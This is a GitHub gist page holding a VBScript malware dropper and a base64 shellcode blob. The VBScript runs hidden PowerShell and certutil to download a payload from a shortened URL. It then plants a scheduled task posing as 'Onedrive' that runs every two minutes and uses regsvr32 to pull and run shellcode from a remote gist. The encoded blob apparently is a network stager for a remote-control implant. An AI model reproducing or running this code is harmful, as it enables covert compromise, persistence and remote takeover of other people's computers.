Skip to content

Instantly share code, notes, and snippets.

View word
set wshShell = CreateObject("Wscript.Shell")
command2 = "cmd /c start /min powershell -w hidden -Command `Invoke-WebRequest https://bit.ly/2HlAKjV -OutFile C:\Users\Public\Music\one.png"
nod = "cmd /c certutil.exe -urlcache -split -f https://bit.ly/2HlAKjV C:\Users\Public\Music\one.png"
command3 = "cmd /c schtasks /create /tn ""Onedrive"" /tr ""regsvr32.exe /s /i:shellcode,https://gist.githubusercontent.com/sparta3407/9d36a87756145bacb27fd330c33830ab/raw/61247d1e2db1dc183cab1aba10291883296a6c8b/microsoft C:\Users\Public\Music\one.png"" /sc minute /mo 2 /F"
command4 ="cmd /c start /min powershell.exe -nop -w hidden regsvr32.exe /s /i:shellcode,https://gist.githubusercontent.com/sparta3407/9d36a87756145bacb27fd330c33830ab/raw/61247d1e2db1dc183cab1aba10291883296a6c8b/microsoft C:\Users\Public\Music\one.png"
dim file, relpath, objshell, startupfolder
set file = createobject("scripting.filesystemobject")
View microsoft
/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHB
yQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/
yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBB
iwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XWoASb53aW5pbmV0AEFWSYnm
TInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9XpkwAAAFpIicFBuLsBAABNMclBUUFR
agNBUUG6V4mfxv/V63lbSInBSDHSSYnYTTHJUmgAMsCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifG6
HwAAAGoAaIAzAABJieBBuQQAAABBunVGnob/1UiJ8UiJ2knHwP////9NMclSUkG6LQYYe//VhcAP
hZ0BAABI/88PhIwBAADrs+nkAQAA6IL///8vanF1ZXJ5LTMuMy4yLnNsaW0ubWluLmpzADVPIVAl
QEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1UAEFjY2VwdDog
dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8q